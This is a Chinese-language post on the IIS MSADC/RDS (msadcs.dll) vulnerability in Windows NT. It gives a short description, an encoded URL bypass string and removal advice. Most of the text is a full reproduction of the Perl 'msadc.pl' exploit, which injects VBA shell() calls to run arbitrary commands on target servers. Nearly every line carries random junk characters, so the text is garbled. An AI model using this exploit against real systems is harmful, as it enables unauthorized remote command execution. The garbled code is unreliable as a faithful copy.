IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
W<LaR,7 @
RI^w Z-; 涉及程序：
9(l'xu X Microsoft NT server
rl^LS z v 2 GhR* 描述：
O<h#|g1 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
`az `?`i7 cA%U 详细：
Zd(d]M_x 如果你没有时间读详细内容的话，就删除:
^d9raYE`' c:\Program Files\Common Files\System\Msadc\msadcs.dll
gk z#kiGF 有关的安全问题就没有了。
LgNNtZ&F 0X?fDz}jd 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
B<XPu=| 3b 3cNYP 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
E)hi nH 关于利用ODBC远程漏洞的描述，请参看:
4LjSDgA oPy zk7{ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm FqsjuU@l
fE*I+pe 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
| q16%6q http://www.microsoft.com/security/bulletins/MS99-025faq.asp \z`d}\3( R b(q& }60 这里不再论述。
J\so 8uT: Kk9 8FI0] 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
t4k'9Y:\Q 93Gur(j^ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
L||yQH7n
的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
ZY!pw6R1>* 02^(z6K'&? 1:!rw,Jzl` #将下面这段保存为txt文件，然后: "perl -x 文件名"
R$fI b}PDr T+nC>}*jgJ #!perl
0o| ,& K #
_A|\.(t # MSADC/RDS 'usage' (aka exploit) script
g$"eI/o #
S.)7u6/_! # by rain.forest.puppy
N&ql(#r #
IVzA>Vd # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
j& o+ KV # beta test and find errors!
tN3 {7'\7 wmr%h q use Socket; use Getopt::Std;
b2= Q~=Wc getopts("e:vd:h:XR", \%args);
+Jka :]MW! px>> ]>ZMH print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
D
Ok^ON aaug u.9 if (!defined $args{h} && !defined $args{R}) {
I! 7.fuO print qq~
W:poUG1UR Usage: msadc.pl -h <host> { -d <delay> -X -v }
/e sk -h <host> = host you want to scan (ip or domain)
m=.7f9 -d <seconds> = delay between calls, default 1 second
OEE{J VeI -X = dump Index Server path table, if available
=P;;&j3Z -v = verbose
ZU.) K>' -e = external dictionary file for step 5
:ZfUjqRE ,N7l/6 Or a -R will resume a command session
;vc lAsJ p u$XUt
~; exit;}
>jz%bY [9U srpYi $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
; 9 &1JX if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
.&Pe7`.BE if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
i5<Va@ru!s if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
W x|6A#cg! $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
<o aBh)=7 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
}
o"_ #\6 . 02(O if (!defined $args{R}){ $ret = &has_msadc;
=@KY A(D die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
FJ%R3N\ #or oY.o print "Please type the NT commandline you want to run (cmd /c assumed):\n"
!bV(VRbu . "cmd /c ";
#8f"}>U9., $in=<STDIN>; chomp $in;
.-u k $command="cmd /c " . $in ;
cevV<Wy+ :IT U0%;!+ if (defined $args{R}) {&load; exit;}
d)GkXl l1D @oqi@&L'C print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
/-K dCp~ &try_btcustmr;
y5Wqu9C\Io YNJpQAuSn) print "\nStep 2: Trying to make our own DSN...";
YTjuSV &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
CAFE } | aH PS nB& print "\nStep 3: Trying known DSNs...";
uCP6;~Ns &known_dsn;
YaVc9du7 1yaIV+_y / print "\nStep 4: Trying known .mdbs...";
~\:j9c C &known_mdb;
Bx}0E LJNie* if (defined $args{e}){
9 /Ai( print "\nStep 5: Trying dictionary of DSN names...";
C|d!'"p &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
(_&V9vat= (-' 0g@0UA print "Sorry Charley...maybe next time?\n";
UGC|C F2K exit;
N]s 7/s vzyI::f? ##############################################################################
!Ir1qt8 T enbN0 sub sendraw { # ripped and modded from whisker
(LT\
IJSM sleep($delay); # it's a DoS on the server! At least on mine...
;vv!qBl|@ my ($pstr)=@_;
>uchF8)e| socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
qtwT#z;Y die("Socket problems\n");
;[OJ-|Q if(connect(S,pack "SnA4x8",2,80,$target)){
@maZlw1q select(S); $|=1;
itC *Z6 ^ print $pstr; my @in=<S>;
%I|+_ z&x select(STDOUT); close(S);
vBnK u return @in;
q:- ]d0B+ } else { die("Can't connect...\n"); }}
%$Jq t =w lm ##############################################################################
@1/}-.(n jgo<#AJ/E sub make_header { # make the HTTP request
f.$a FOn my $msadc=<<EOT
^!o1l-Y^gr POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
!7kLFW User-Agent: ACTIVEDATA
H81.p Host: $ip
PX69 Content-Length: $clen
/_:T\`5uO Connection: Keep-Alive
@ O<@f8- #lyM+.T ADCClientVersion:01.06
K[#v(<) Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
_8x'GK
tU p-i.ITRS --!ADM!ROX!YOUR!WORLD!
|auX*hb9 Content-Type: application/x-varg
1O]5/Eu Content-Length: $reqlen
f1CM R4D hP4)8 > EOT
rAlh&
? X ; $msadc=~s/\n/\r\n/g;
{7K'<ti return $msadc;}
oc3dd "8}@ l6 S19Kv ##############################################################################
*< $c
= r e ]Ste sub make_req { # make the RDS request
_d\u!giy my ($switch, $p1, $p2)=@_;
C"U[ b% my $req=""; my $t1, $t2, $query, $dsn;
rTP5-4 He T6Dv if ($switch==1){ # this is the btcustmr.mdb query
/jjW/ lr $query="Select * from Customers where City=" . make_shell();
o% /-5- $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
]{Mci]H6T $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
<uBhi4 #Cg}!3 8 elsif ($switch==2){ # this is general make table query
+#-kIaU $query="create table AZZ (B int, C varchar(10))";
^&`sWO@= $dsn="$p1";}
Mz/]D J8 +gbX}jF0% elsif ($switch==3){ # this is general exploit table query
Q{.{#G $query="select * from AZZ where C=" . make_shell();
-'O Q-5 $dsn="$p1";}
>/!7i3Ow- f%Z;05 elsif ($switch==4){ # attempt to hork file info from index server
L @1,7@
$query="select path from scope()";
J$6-c' 8 $dsn="Provider=MSIDXS;";}
JVUZ}#O >bX-!<S elsif ($switch==5){ # bad query
b(.-~c(' $query="select";
Xr @l+zr $dsn="$p1";}
ih+*T1#:( IFd )OZ5 $t1= make_unicode($query);
Xq 8uY/j $t2= make_unicode($dsn);
!fQJL
$req = "\x02\x00\x03\x00";
.6O52E $req.= "\x08\x00" . pack ("S1", length($t1));
H )BOSZD $req.= "\x00\x00" . $t1 ;
), nCq^Bp $req.= "\x08\x00" . pack ("S1", length($t2));
iA55y T+ $req.= "\x00\x00" . $t2 ;
) (: +q(m $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
4 |zdXS return $req;}
L;1$xI8tx 9SRfjS{7 ##############################################################################
u( V [K/O5_ sub make_shell { # this makes the shell() statement
NCowt|#t return "'|shell(\"$command\")|'";}
YVQ_ tCC_! la
G$v-r ##############################################################################
YBYB OH *3A3>Rwu sub make_unicode { # quick little function to convert to unicode
dWsT Jyx~ my ($in)=@_; my $out;
E^Q@9C<! d for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
j!zA+hF ( return $out;}
g,t3OnxS?
Veb+^& ##############################################################################
Lv
`#zgo_f 2-vJ v+- sub rdo_success { # checks for RDO return success (this is kludge)
~t'#n V my (@in) = @_; my $base=content_start(@in);
$$haVY& if($in[$base]=~/multipart\/mixed/){
-M7 K8 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
9">zdFC' return 0;}
L#
`lQ"`K ,N;))3 ##############################################################################
'i@, ~[Z4 zW*} `S " sub make_dsn { # this makes a DSN for us
vKcl6bVT my @drives=("c","d","e","f");
|A ;o0pL print "\nMaking DSN: ";
OOEV-= foreach $drive (@drives) {
v-P8WFjca print "$drive: ";
89LpklD my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
]]el| "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
ZWf-X . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
qSFc=Wwc $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
vVI6m{zYV return 0 if $2 eq "404"; # not found/doesn't exist
j2R RSz&9 if($2 eq "200") {
[leW/2i foreach $line (@results) {
Um]p&phVL return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
H7{Q@D8 } return 0;}
%xf)m[JU= IZv~[vi_ ##############################################################################
8|1`Tn}o 5;X {.2 sub verify_exists {
c u\ls^ my ($page)=@_;
UppBnw my @results=sendraw("GET $page HTTP/1.0\n\n");
`d75@ 0: return $results[0];}
PV?]UUc'n< q:vz?G ##############################################################################
1*Sr5N[= .
_1jk sub try_btcustmr {
g d z my @drives=("c","d","e","f");
aRbx my @dirs=("winnt","winnt35","winnt351","win","windows");
lkV6qIj ,VPb Uo@ foreach $dir (@dirs) {
+p13xc?#j print "$dir -> "; # fun status so you can see progress
- G8 c5b[ foreach $drive (@drives) {
VBu8}}Ql print "$drive: "; # ditto
= kd YN 5R $reqlen=length( make_req(1,$drive,$dir) ) - 28;
,5/V@; i $reqlenlen=length( "$reqlen" );
q.-y)C) ; $clen= 206 + $reqlenlen + $reqlen;
_ e6a8 >R( 8/#|E my @results=sendraw(make_header() . make_req(1,$drive,$dir));
\ M7I&~V if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
{I`B[, * else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Xc\* 9XV: kt :)W])V ##############################################################################
JxjP@nr OQ6sv/ sub odbc_error {
V/J>GRjw my (@in)=@_; my $base;
#;d)? my $base = content_start(@in);
|</"N-#S if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
6G'<[gL
j $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
'g]hmE $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
I[ai: $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
mKV'jm0 return $in[$base+4].$in[$base+5].$in[$base+6];}
1xz\=HOT print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
[_h%F,_ A print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
PfyRZ[3)c $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
fCB:733H "ml?7Xl,n ##############################################################################
sYI~dU2H Xq|nJ|h sub verbose {
WM/# . my ($in)=@_;
O:1 DOUYXs return if !$verbose;
-PM) EGSk{ print STDOUT "\n$in\n";}
prZ55MS. #Rc5c+/(
##############################################################################
eK9TAW rnu
e(t sub save {
3w Z(+<4i my ($p1, $p2, $p3, $p4)=@_;
6 _*! |g open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Sr&T[ex,. print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
6 )ycmu;!$ close OUT;}
?yp0$r/ _ENuwBYW- ##############################################################################
en>9E .?N s;J\Kc? "| sub load {
]c}=5m/ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
vh
&G Ib open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Ivsb<qzG @p=<IN>; close(IN);
rR]-RX( $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
J^fm~P >. $target= inet_aton($ip) || die("inet_aton problems");
>D ne? 8r print "Resuming to $ip ...";
3% ^z ?_ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
^/*KNnAWp if($p[1]==1) {
GQx9u ^> $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
0qv$:w)g+v $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
pW{8R^vKm my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
|6%.VY2b if (rdo_success(@results)){print "Success!\n";}
"V 3}t4 else { print "failed\n"; verbose(odbc_error(@results));}}
.B>B`q;B elsif ($p[1]==3){
%,|ztH/ Q if(run_query("$p[3]")){
L~dC(J)@ZI print "Success!\n";} else { print "failed\n"; }}
YdI0E elsif ($p[1]==4){
vBNZ<L\|a if(run_query($drvst . "$p[3]")){
OC_M4{9 / print "Success!\n"; } else { print "failed\n"; }}
J3G7zu8 exit;}
_UkmYZ/ cn%2OP:L^ ##############################################################################
6Nt$ZYS [Uli>/% JB sub create_table {
TFy7HX\Oq my ($in)=@_;
F6W}mMZH/N $reqlen=length( make_req(2,$in,"") ) - 28;
YUscz!rM $reqlenlen=length( "$reqlen" );
2zK"*7b? $clen= 206 + $reqlenlen + $reqlen;
&x 0C4Kh my @results=sendraw(make_header() . make_req(2,$in,""));
9cQ_mgc h return 1 if rdo_success(@results);
G;TsMq my $temp= odbc_error(@results); verbose($temp);
$}R$t- return 1 if $temp=~/Table 'AZZ' already exists/;
YsP/p- return 0;}
bC~~5Cm Q2/.6 O8 ##############################################################################
~F w<eY ?+r!z sub known_dsn {
$b>}C= gt # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
HM&1y ubh# my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
MdC<4^| "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
K;U39of W "banner", "banners", "ads", "ADCDemo", "ADCTest");
/APcL5:= wGJjA=C foreach $dSn (@dsns) {
,+._;[k print ".";
5j eO"jB next if (!is_access("DSN=$dSn"));
]` ]g@ v if(create_table("DSN=$dSn")){
0@)%h&mD print "$dSn successful\n";
frN3S if(run_query("DSN=$dSn")){
r7 VXeoX print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
NP/> H9Q2% print "Something's borked. Use verbose next time\n";}}} print "\n";}
zoP%u,XL n|i" S` ##############################################################################
:EZQ'3X ++8_fgM sub is_access {
by86zX my ($in)=@_;
1$ML #5+, $reqlen=length( make_req(5,$in,"") ) - 28;
mJC3@V
s $reqlenlen=length( "$reqlen" );
Pl+xH%U+? $clen= 206 + $reqlenlen + $reqlen;
6:? rlh my @results=sendraw(make_header() . make_req(5,$in,""));
)"`!AerJ my $temp= odbc_error(@results);
~|l IC !q verbose($temp); return 1 if ($temp=~/Microsoft Access/);
kIvvEh<L= return 0;}
<\@ 1Zz@ms }B q^3?,#{ ##############################################################################
Yv )aAWEa *Msr1 5 sub run_query {
}Qr ab#v my ($in)=@_;
WM,i:P)b $reqlen=length( make_req(3,$in,"") ) - 28;
4/*H .Fl $reqlenlen=length( "$reqlen" );
YQgNv` l} $clen= 206 + $reqlenlen + $reqlen;
] ,lV}Mlg* my @results=sendraw(make_header() . make_req(3,$in,""));
5H lWfD return 1 if rdo_success(@results);
LdTdQ,s< my $temp= odbc_error(@results); verbose($temp);
wAYB RY[ return 0;}
q0O&UE)6Y ZA\/{Fw ##############################################################################
7*s8 ttX R Fko>d sub known_mdb {
~rv})4h my @drives=("c","d","e","f","g");
$/_ qE my @dirs=("winnt","winnt35","winnt351","win","windows");
o
}@n>R my $dir, $drive, $mdb;
6EJVD!#[K my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
]Kde t"+ Ip?]K*sq # this is sparse, because I don't know of many
op7FZHs my @sysmdbs=( "\\catroot\\icatalog.mdb",
E \{< ;S "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
vR> o}%` "\\system32\\certmdb.mdb",
z`$J_Cj Y "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
H4<Nnd\ t Fg X\4 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
n56;m`IU "\\cfusion\\cfapps\\forums\\forums_.mdb",
I*\ ^,ow "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
"T6# "\\cfusion\\cfapps\\security\\realm_.mdb",
D59T?B|BdD "\\cfusion\\cfapps\\security\\data\\realm.mdb",
PRs@zkO "\\cfusion\\database\\cfexamples.mdb",
QH@>icAb "\\cfusion\\database\\cfsnippets.mdb",
.px:e)iW "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
onte&Ed \ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
uDuF#3
+" "\\cfusion\\brighttiger\\database\\cleam.mdb",
1u }nm;3 "\\cfusion\\database\\smpolicy.mdb",
$Ui&D
I "\\cfusion\\database\cypress.mdb",
.ve *Vp "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
+MUwP(U=w "\\website\\cgi-win\\dbsample.mdb",
xxa} YIe8 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
O}Le]2' "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
-5>NE35Cto ); #these are just
=%qEf
foreach $drive (@drives) {
@"|i"Hk^ foreach $dir (@dirs){
Gs V4ZZ foreach $mdb (@sysmdbs) {
GAEO $e: print ".";
eN-au/kN if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
S~ F` print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
rwqv V ^ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
/ 8gL.i$ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
&35|16z%@ } else { print "Something's borked. Use verbose next time\n"; }}}}}
8SmjZpQ? U G[e//m foreach $drive (@drives) {
3071:W foreach $mdb (@mdbs) {
#D I$Oc print ".";
v[S-Pi1 if(create_table($drv . $drive . $dir . $mdb)){
'Ud| Ex@A9 print "\n" . $drive . $dir . $mdb . " successful\n";
3/goCg if(run_query($drv . $drive . $dir . $mdb)){
>3D7tK( print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
fCX*R" } else { print "Something's borked. Use verbose next time\n"; }}}}
;")A{t X2 }
J7&DR^.Sw Fhj8lVvk ##############################################################################
[}o~PN:sT( 5lmO:G1 sub hork_idx {
H\G{3.T.9 print "\nAttempting to dump Index Server tables...\n";
jqcz\n d print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
GJQc!cqk $reqlen=length( make_req(4,"","") ) - 28;
Yx)o :#2 $reqlenlen=length( "$reqlen" );
I6w~H?ul@* $clen= 206 + $reqlenlen + $reqlen;
B)=~8wsI:Z my @results=sendraw2(make_header() . make_req(4,"",""));
($!KzxF 3 if (rdo_success(@results)){
rVryt<2:@r my $max=@results; my $c; my %d;
ZX.TqvK/r for($c=19; $c<$max; $c++){
XZph%j0o $results[$c]=~s/\x00//g;
%c/^_. $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
%:u[MBe , $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
$Ua56Y $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
i|$z'HK;+ $d{"$1$2"}="";}
Ax<\jW< foreach $c (keys %d){ print "$c\n"; }
Z<z;L<tJ 9 } else {print "Index server doesn't seem to be installed.\n"; }}
VOgi7 \ OtUr GQP ##############################################################################
(M t5 P w:ULi3 sub dsn_dict {
Q/^A #l[ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
s ic$uT while(<IN>){
N:BL=} V $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Dpqt;8"2L next if (!is_access("DSN=$dSn"));
2(#Ks's? if(create_table("DSN=$dSn")){
Dy9\O77> print "$dSn successful\n";
<8o(CA\ if(run_query("DSN=$dSn")){
@LX6hm*} print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
M] EsS^/X print "Something's borked. Use verbose next time\n";}}}
lrEj/"M print "\n"; close(IN);}
\8b6\qF/\ x8N|($1 ##############################################################################
J !#Zi#8sF
'3 ,\@4 sub sendraw2 { # ripped and modded from whisker
Ex(3D[WmMW sleep($delay); # it's a DoS on the server! At least on mine...
\M+L3*W my ($pstr)=@_;
xH kxc}h socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Ka-p& Uv1< die("Socket problems\n");
`~F5 wh~ if(connect(S,pack "SnA4x8",2,80,$target)){
Pl o ,XU print "Connected. Getting data";
$aP(|!g open(OUT,">raw.out"); my @in;
.Y cN S% select(S); $|=1; print $pstr;
|!*Xl)
] while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
^PqF< d6 close(OUT); select(STDOUT); close(S); return @in;
mP}#Ccji? } else { die("Can't connect...\n"); }}
9y] J /1# =,/D/v$m'2 ##############################################################################
#$ 1 $T 4E3g ,%9u sub content_start { # this will take in the server headers
ecHP
&Z$ my (@in)=@_; my $c;
Wk7WK` >i for ($c=1;$c<500;$c++) {
#G;X' BN if($in[$c] =~/^\x0d\x0a/){
q~Jq/E"f if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
'ZHdV,dd else { return $c+1; }}}
;u-4 KK return -1;} # it should never get here actually
v.g"{us ]> G&jd7 ##############################################################################
igkz2S I M7dU@ Ag sub funky {
i@$*Csj\9* my (@in)=@_; my $error=odbc_error(@in);
_" N\b%CkO if($error=~/ADO could not find the specified provider/){
!`wW_W print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Faac]5u:* exit;}
"QY1.:o<( if($error=~/A Handler is required/){
S%6U~@hig print "\nServer has custom handler filters (they most likely are patched)\n";
[_!O<z_sB exit;}
E`D%PEps+ if($error=~/specified Handler has denied Access/){
b`~wG e print "\nServer has custom handler filters (they most likely are patched)\n";
+!O- kd exit;}}
%'ZN`XftG Y
62r ##############################################################################
uHM@h{r 7TWNB{
K_ sub has_msadc {
Sp?NfJ\Ie my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
:c 8^db`" my $base=content_start(@results);
m4/er539T return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
*HlDS22 return 0;}
q)I|2~Q c^ hnxc`VX>g ########################
AR B7>" v 81rfB5 ~"dhu]^ 解决方案：
?J&)W,~ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
t _c?Wp~tH 2、移除web 目录: /msadc
